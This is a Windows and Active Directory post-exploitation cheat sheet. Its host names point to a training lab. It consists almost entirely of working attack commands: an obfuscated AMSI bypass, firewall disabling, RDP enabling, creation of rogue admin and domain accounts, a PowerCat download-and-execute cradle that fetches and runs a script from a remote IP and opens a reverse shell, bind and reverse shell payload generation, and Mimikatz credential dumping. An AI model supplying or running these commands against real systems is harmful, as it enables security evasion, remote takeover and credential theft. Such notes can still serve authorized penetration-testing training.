Tips And Tricks

Bypass AMSI:

powershell -ep bypass

SET-ItEM ( 'V'+'aR' +  'IA' + 'blE:1q2'  + 'uZx'  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    GeT-VariaBle  ( "1Q2U"  +"zX"  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System'  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f'amsi','d','InitFaile'  ),(  "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
. .\PowerView.ps1
Get-NetUser

CMD

#Disable Firewall
powershell -c Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
netsh advfirewall set allprofiles state off
powershell -command "Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False"


#Change User Password via powershell administrator
Set-ADAccountPassword -Identity $user -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "$newPass" -Force)

#Enable RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f


#Create new user
net user username password /ADD


#To add a new user account to the domain:
net user username password /ADD /DOMAIN


#Add user to Admin Group
net localgroup Administrators Tom /add

PowerCat

#Listen for port with powercat
import-module powercat.ps1
powercat -l -p 4444
#excute to download and run
powershell.exe "IEX(New-Object Net.WebClient).DownloadString('http://172.16.100.29/powercat.ps1')); powercat -c 172.16.100.29 -p 443 -ep;"


#Generate Payloads
#Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
    powercat -c 10.1.1.15 -p 443 -e cmd -g
#Generate a bind tcp encoded command which listens on port 8000:
    powercat -l -p 8000 -e cmd -ge


#File Transfer
#Send File:
    powercat -c 10.1.1.1 -p 443 -i C:\inputfile
#Recieve File:
    powercat -l -p 8000 -of C:\inputfile

Transfer Files

copy-item .\invoke-mimikatz.ps1 \\dcorp-adminsrv.dollarcorp.moneycorp.local\c$\'Program Files'
Invoke-Command -Session $sess -FilePath c:\AD\Tools\Invoke-mimikatz.ps1

MimiKatz

Invoke-Mimikatz -DumpCreds -Computername dcorp-mgmt.dollarcorp.moneycorp.local

Connect

Enter-PSSession –Computername dcorp-dc –credential dcorp\Administrator

Enable Remote Desktop

#Enable Remote Desktop
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0
#Activate the firewall rule
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
#Enable authentication via RDP
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "UserAuthentication" -Value 1